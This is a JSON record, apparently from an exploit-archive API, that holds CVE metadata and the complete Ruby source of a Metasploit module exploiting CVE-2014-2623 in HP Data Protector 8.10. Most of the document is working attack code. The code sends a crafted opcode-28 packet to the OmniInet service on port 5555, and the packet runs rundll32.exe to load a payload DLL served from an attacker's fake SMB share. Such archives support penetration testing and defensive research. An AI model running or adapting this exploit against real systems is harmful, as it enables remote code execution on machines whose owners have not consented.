{"exploit":{"id":"EDB-36304","name":"HP Data Protector 8.10 - Remote Command Execution (Metasploit)","description":"HP Data Protector 8.10 - Remote Command Execution (Metasploit)","cves":["CVE-2014-2623"],"author":"Metasploit","published":"2015-03-06","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/36304","path":"exploits/windows/remote/36304.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-36304.rb","vulnerabilities":[{"id":"CVE-2014-2623","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in HP Storage Data Protector 8.x allows remote attackers to execute arbitrary code via unknown vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-2623","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-2623"},"updatedAt":"2024-08-06T10:21:35.278Z","retrievedAt":"2026-11-27T13:47:51.509Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-36304.png?v=2","url":"https://exploitbin.com/exploits/EDB-36304","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-36304/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-36304/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::Tcp\n  include Msf::Exploit::Remote::SMB::Server::Share\n  include Msf::Exploit::EXE\n\n  def initialize(info={})\n    super(update_info(info,\n      'Name'           => 'HP Data Protector 8.10 Remote Command Execution',\n      'Description'    => %q{\n        This module exploits a remote command execution on HP Data Protector 8.10. Arbitrary\n        commands can be execute by sending crafted requests with opcode 28 to the OmniInet\n        service listening on the TCP/5555 port. Since there is an strict length limitation on\n        the command, rundll32.exe is executed, and the payload is provided through a DLL by a\n        fake SMB server. This module has been tested successfully on HP Data Protector 8.1 on\n        Windows 7 SP1.\n      },\n      'Author'         => [\n        'Christian Ramirez', # POC\n        'Henoch Barrera', # POC\n        'Matthew Hall <hallm[at]sec-1.com>' # Metasploit Module\n      ],\n      'References'     =>\n        [\n          ['CVE', '2014-2623'],\n          ['OSVDB', '109069'],\n          ['EDB', '34066'],\n          ['URL', 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818']\n        ],\n      'DefaultOptions' =>\n        {\n          'EXITFUNC' => 'thread',\n        },\n      'Payload'        =>\n        {\n          'Space'       => 2048,\n          'DisableNops' => true\n        },\n      'Privileged'     => true,\n      'Platform'       => 'win',\n      'Stance'         => Msf::Exploit::Stance::Aggressive,\n      'Targets'        =>\n        [\n          [ 'HP Data Protector 8.10 / Windows', { } ],\n        ],\n      'DefaultTarget'  => 0,\n      'DisclosureDate' => 'Nov 02 2014'))\n\n      register_options(\n        [\n          Opt::RPORT(5555),\n          OptString.new('FILE_NAME', [ false, 'DLL File name to share']),\n          OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])\n        ], self.class)\n\n      deregister_options('FOLDER_NAME')\n      deregister_options('FILE_CONTENTS')\n  end\n\n  def check\n    fingerprint = get_fingerprint\n\n    if fingerprint.nil?\n      return Exploit::CheckCode::Unknown\n    end\n\n    print_status(\"#{peer} - HP Data Protector version #{fingerprint}\")\n\n    if fingerprint =~ /HP Data Protector A\\.08\\.(\\d+)/\n      minor = $1.to_i\n    else\n      return Exploit::CheckCode::Safe\n    end\n\n    if minor < 11\n      return Exploit::CheckCode::Appears\n    end\n\n    Exploit::CheckCode::Detected\n  end\n\n  def peer\n    \"#{rhost}:#{rport}\"\n  end\n\n  def get_fingerprint\n    ommni = connect\n    ommni.put(rand_text_alpha_upper(64))\n    resp = ommni.get_once(-1)\n    disconnect\n\n    if resp.nil?\n      return nil\n    end\n\n    Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null\n  end\n\n  def send_pkt(cmd)\n    cmd.gsub!(\"\\\\\", \"\\\\\\\\\\\\\\\\\")\n\n    pkt = \"2\\x00\"\n    pkt << \"\\x01\\x01\\x01\\x01\\x01\\x01\\x00\"\n    pkt << \"\\x01\\x00\"\n    pkt << \"\\x01\\x00\"\n    pkt << \"\\x01\\x00\"\n    pkt << \"\\x01\\x01\\x00 \"\n    pkt << \"28\\x00\"\n    pkt << \"\\\\perl.exe\\x00 \"\n    pkt << \"-esystem('#{cmd}')\\x00\"\n\n    connect\n    sock.put([pkt.length].pack('N') + pkt)\n    disconnect\n  end\n\n  def primer\n    self.file_contents = generate_payload_dll\n    print_status(\"File available on #{unc}...\")\n\n    print_status(\"#{peer} - Trying to execute remote DLL...\")\n    sploit = \"rundll32.exe #{unc},#{rand_text_numeric(1)}\"\n    send_pkt(sploit)\n  end\n\n  def setup\n    super\n\n    self.file_name = datastore['FILE_NAME'] || \"#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll\"\n\n    unless file_name =~ /\\.dll$/\n      fail_with(Failure::BadConfig, \"FILE_NAME must end with .dll\")\n    end\n  end\n\n  def exploit\n    begin\n      Timeout.timeout(datastore['SMB_DELAY']) {super}\n    rescue Timeout::Error\n      # do nothing... just finish exploit and stop smb server...\n    end\n  end\nend","sha256":"2c68e7558c4c52229be23c2bf204c3515e7fc8bd2eaba4a5c60ff047aa197db3","bytes":4020,"fetchedAt":"2026-11-27T15:11:13.120Z","encoding":"utf-8 (display only; download retains original bytes)"}